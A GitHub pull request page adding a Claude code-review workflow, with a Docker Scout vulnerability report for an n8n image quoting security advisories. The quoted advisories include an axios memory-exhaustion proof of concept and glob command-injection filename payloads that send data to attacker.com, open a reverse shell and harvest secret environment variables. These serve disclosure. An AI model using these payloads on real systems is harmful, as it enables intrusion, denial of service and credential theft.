Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

@anatolyshipitz anatolyshipitz commented Nov 12, 2025

  • Introduced a new GitHub Actions workflow for automated code reviews using Claude.
  • The workflow triggers on pull requests, issue comments, and manual dispatch, allowing for flexible review processes.
  • Implemented steps for onboarding notifications, Claude API key detection, and PR context resolution.
  • Added functionality to post comments and reviews based on Claude's analysis, including inline comments for code issues.
  • Enhanced reporting with execution logs and summaries of the review process.

Docs: https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk
Example: https://github.com/speedandfunction/automatization-template/pull/22#pullrequestreview-3452225525

This integration aims to streamline code review and improve code quality through automated analysis.

Summary by CodeRabbit

  • New Features
    • Adds an AI-driven code review workflow that posts inline review comments and a summary, saves execution artifacts/logs, maintains a persistent cost summary, posts onboarding notes, checks for API key presence with setup reminders, and handles missing context or unparsable outputs gracefully.
  • Chores
    • CI tweaks: adjusted workflow formatting and made a Docker security scan non-blocking so the pipeline can continue on scan failures.

- Introduced a new GitHub Actions workflow for automated code reviews using Claude.
- The workflow triggers on pull requests, issue comments, and manual dispatch, allowing for flexible review processes.
- Implemented steps for onboarding notifications, Claude API key detection, and PR context resolution.
- Added functionality to post comments and reviews based on Claude's analysis, including inline comments for code issues.
- Enhanced reporting with execution logs and summaries of the review process.

This integration aims to streamline code review and improve code quality through automated analysis.
@coderabbitai
Copy link

coderabbitai bot commented Nov 12, 2025

Walkthrough

Adds a new GitHub Actions workflow that runs Claude-based automated PR reviews (triggers on PR events, comments, and manual dispatch), resolves PR context, checks for Anthropic API key, invokes Claude with a strict JSON schema, parses results into PR review comments, writes artifacts and a cost-summary, and uploads logs. Also tweaks code-quality workflow formatting and docker-scout behavior.

Changes

Cohort / File(s) Change Summary
Claude review workflow
/.github/workflows/claude-review.yml
New workflow implementing Claude-based code review automation: triggers on PR events, issue/review comments, and manual dispatch; determines run conditions (including @claude review); checks Anthropic API key and posts setup reminders if missing; resolves PR context robustly; checks out repo when appropriate; invokes Claude Code Action (v3.5 Sonnet) with tools and a strict JSON schema; parses model output into a review payload (supports direct JSON, JSON blocks, or embedded JSON); posts inline PR comments and a summary review; writes artifacts (claude.json, claude-summary.md); publishes/updates a sticky cost-summary comment; uploads execution logs; and includes guarded error handling.
Code quality workflow tweaks
/.github/workflows/code-quality.yml
Minor edits: reformatted fetch-depth inline comment and set continue-on-error: true for the docker-scout-action step so the workflow continues if the Docker security scan fails.

Sequence Diagram(s)

sequenceDiagram
    autonumber
    actor User
    participant GitHub
    participant Workflow as claude-review
    participant Resolver as PR Resolver
    participant Claude as Anthropic Claude API
    participant Parser as Output Parser
    participant GitHubAPI as GitHub API

    User->>GitHub: Open PR / Comment " `@claude` review " / Manual dispatch
    GitHub->>Workflow: Trigger workflow

    Workflow->>Workflow: Determine should_run (events / comment content / dispatch)

    alt should_run == false
        Workflow->>GitHubAPI: Optionally post onboarding / skip note
    else should_run == true
        Workflow->>Workflow: Check Anthropic API key present?
        alt API key missing
            Workflow->>GitHubAPI: Post setup reminder comment
        else API key present
            Workflow->>Resolver: Resolve PR context (number, head SHA/ref, repo)
            Resolver-->>Workflow: Context (or unresolved)
            Workflow->>Workflow: Checkout repo (if context available)
            Workflow->>Claude: Invoke Claude Code Action (tools + JSON schema)
            Claude-->>Workflow: Response (text / JSON)
            Workflow->>Parser: Extract/validate JSON review payload
            alt parse success & actionable
                Parser-->>Workflow: Review payload
                Workflow->>GitHubAPI: Post inline comments + summary review
                Workflow->>GitHubAPI: Publish/update cost-summary comment
                Workflow->>Workflow: Save artifacts (claude.json, summary), upload logs
            else parse fails or nothing actionable
                Workflow->>Workflow: Log and skip review posting
            end
        end
    end
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

  • Focus areas:
    • PR context resolution script and URL/structure edge cases
    • Claude invocation step (tool definitions, model schema, environment)
    • Output parsing logic and robustness to non-JSON/malformed responses
    • Sticky cost-summary comment logic and artifact upload/error handling

Possibly related PRs

Suggested reviewers

  • killev
  • DenisChistyakov

Poem

🐰 I hopped through diffs with nimble paws,
I asked for Claude to check the laws,
I left a note, a cost pin, and a trail,
Tiny hops that smoothed the developer tale,
🥕✨

Pre-merge checks and finishing touches

✅ Passed checks (3 passed)
Check name Status Explanation
Title check ✅ Passed The title directly and clearly describes the main change: adding a new GitHub Actions workflow for Claude-based code reviews, which aligns with the primary content of the changeset.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
✨ Finishing touches
  • 📝 Generate docstrings
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch feature/add-claude-reviewer

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions
Copy link

github-actions bot commented Nov 12, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:cfd39f463b9eeae88b38920f83883654d5fb343390a702ef10456ff0e846e185
vulnerabilitiescritical: 2 high: 23 medium: 0 low: 0
platformlinux/amd64
size335 MB
packages1844
📦 Base Image node:22-alpine
also known as
  • 22-alpine3.22
  • 22.19-alpine
  • 22.19-alpine3.22
  • 22.19.0-alpine
  • 22.19.0-alpine3.22
  • jod-alpine
  • jod-alpine3.22
  • lts-alpine
  • lts-alpine3.22
digestsha256:704b199e36b5c1bc505da773f742299dc1ee5a4c70b86d1eb406c334f63253c6
vulnerabilitiescritical: 0 high: 2 medium: 2 low: 2
critical: 2 high: 2 medium: 0 low: 0 libxml2 2.13.8-r0 (apk)

pkg:apk/alpine/libxml2@2.13.8-r0?os_name=alpine&os_version=3.22

critical : CVE--2025--49796

Affected range<2.13.9-r0
Fixed version2.13.9-r0
EPSS Score0.305%
EPSS Percentile51st percentile
Description

critical : CVE--2025--49794

Affected range<2.13.9-r0
Fixed version2.13.9-r0
EPSS Score0.174%
EPSS Percentile34th percentile
Description

high : CVE--2025--6021

Affected range<2.13.9-r0
Fixed version2.13.9-r0
EPSS Score1.313%
EPSS Percentile78th percentile
Description

high : CVE--2025--49795

Affected range<2.13.9-r0
Fixed version2.13.9-r0
EPSS Score0.135%
EPSS Percentile28th percentile
Description
critical: 0 high: 4 medium: 0 low: 0 stdlib 1.24.6 (golang)

pkg:golang/stdlib@1.24.6

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.075%
EPSS Percentile19th percentile
Description

The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.075%
EPSS Percentile19th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.033%
EPSS Percentile5th percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.033%
EPSS Percentile5th percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 2 medium: 0 low: 0 expr-eval 2.0.2 (npm)

pkg:npm/expr-eval@2.0.2

high 8.6: CVE--2025--12735 Improper Control of Generation of Code ('Code Injection')

Affected range<=2.0.2
Fixed versionNot Fixed
CVSS Score8.6
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.168%
EPSS Percentile33rd percentile
Description

The expr-eval library is a JavaScript expression parser and evaluator designed to safely evaluate mathematical expressions with user-defined variables. However, due to insufficient input validation, an attacker can pass a crafted variables object into the evaluate() function and trigger arbitrary code execution.

high 7.3: CVE--2025--13204 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range<=2.0.2
Fixed versionNot Fixed
CVSS Score7.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.052%
EPSS Percentile12th percentile
Description

npm package expr-eval is vulnerable to Prototype Pollution. An attacker with access to express eval interface can use JavaScript prototype-based inheritance model to achieve arbitrary code execution. The npm expr-eval-fork package resolves this issue.

critical: 0 high: 2 medium: 0 low: 0 xlsx 0.20.2 (npm)

pkg:npm/xlsx@0.20.2

high 7.8: CVE--2023--30533 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score2.365%
EPSS Percentile84th percentile
Description

All versions of SheetJS CE through 0.19.2 are vulnerable to "Prototype Pollution" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.

A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package xlsx are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.

high 7.5: CVE--2024--22363 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.321%
EPSS Percentile52nd percentile
Description

SheetJS Community Edition before 0.20.2 is vulnerable.to Regular Expression Denial of Service (ReDoS).

A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package xlsx are no longer maintained. Version 0.20.2 can be downloaded via https://cdn.sheetjs.com/.

critical: 0 high: 2 medium: 0 low: 0 n8n 1.109.2 (npm)

pkg:npm/n8n@1.109.2

high 8.8: GHSA--365g--vjw2--grx8 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range<=1.114.4
Fixed versionNot Fixed
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description

Impact

The Execute Command node in n8n allows execution of arbitrary commands on the host system where n8n runs. While this functionality is intended for advanced automation and can be useful in certain workflows, it poses a security risk if all users with access to the n8n instance are not fully trusted.

An attacker—either a malicious user or someone who has compromised a legitimate user account—could exploit this node to run arbitrary commands on the host machine, potentially leading to data exfiltration, service disruption, or full system compromise.

This vulnerability affects all n8n deployments where:

  • The Execute Command node is enabled, and
  • Not all user accounts are strictly controlled and trusted.

n8n.cloud is not impacted.

Patches

No code changes have been made to alter the behavior of the Execute Command node. The recommended mitigation is to disable the node by default in environments where it is not explicitly required.

Future n8n versions may change the default availability of this node.

Workarounds

Administrators can disable the Execute Command node by setting the following environment variable before starting n8n:

export NODES_EXCLUDE: "[\"n8n-nodes-base.executeCommand\"]"

References

n8n docs: Execute Command
n8n docs: Blocking nodes

high 8.8: CVE--2025--62726 Inclusion of Functionality from Untrusted Control Sphere

Affected range<1.113.0
Fixed version1.113.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.227%
EPSS Percentile42nd percentile
Description

Impact

A remote code execution vulnerability exists in the Git Node component available in both Cloud and Self-Hosted versions of n8n. When a malicious actor clones a remote repository containing a pre-commit hook, the subsequent use of the Commit operation in the Git Node can inadvertently trigger the hook’s execution.

This allows attackers to execute arbitrary code within the n8n environment, potentially compromising the system and any connected credentials or workflows.

All users with workflows that utilize the Git Node to clone untrusted repositories are affected.

Patches

The vulnerability was addressed in v1.113.0 (n8n-io/n8n#19559), which introduces a new environment variable: N8N_GIT_NODE_DISABLE_BARE_REPOS. For self-hosted deployments, it is strongly recommended to set this variable to true to mitigate the risk of executing malicious Git hooks.

Workarounds

To reduce risk prior to upgrading:

  • Avoid cloning or interacting with untrusted repositories using the Git Node.
  • Disable or restrict the use of the Git Node in workflows where repository content cannot be fully trusted.
critical: 0 high: 1 medium: 0 low: 0 openssh 10.0_p1-r7 (apk)

pkg:apk/alpine/openssh@10.0_p1-r7?os_name=alpine&os_version=3.22

high : CVE--2023--51767

Affected range<=10.0_p1-r7
Fixed versionNot Fixed
EPSS Score0.084%
EPSS Percentile21st percentile
Description
critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.3 (npm)

pkg:npm/tar-fs@2.1.3

high 8.7: CVE--2025--59343 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.4
Fixed version2.1.4
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.068%
EPSS Percentile17th percentile
Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Reported by: Mapta / BugBunny_ai

critical: 0 high: 1 medium: 0 low: 0 axios 1.8.3 (npm)

pkg:npm/axios@1.8.3

high 7.5: CVE--2025--58754 Allocation of Resources Without Limits or Throttling

Affected range>=1.0.0
<1.12.0
Fixed version1.12.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.080%
EPSS Percentile20th percentile
Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

critical: 0 high: 1 medium: 0 low: 0 axios 1.11.0 (npm)

pkg:npm/axios@1.11.0

high 7.5: CVE--2025--58754 Allocation of Resources Without Limits or Throttling

Affected range>=1.0.0
<1.12.0
Fixed version1.12.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.080%
EPSS Percentile20th percentile
Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

critical: 0 high: 1 medium: 0 low: 0 glob 11.0.1 (npm)

pkg:npm/glob@11.0.1

high 7.5: CVE--2025--64756 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range>=11.0.0
<11.1.0
Fixed version11.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.130%
EPSS Percentile27th percentile
Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:
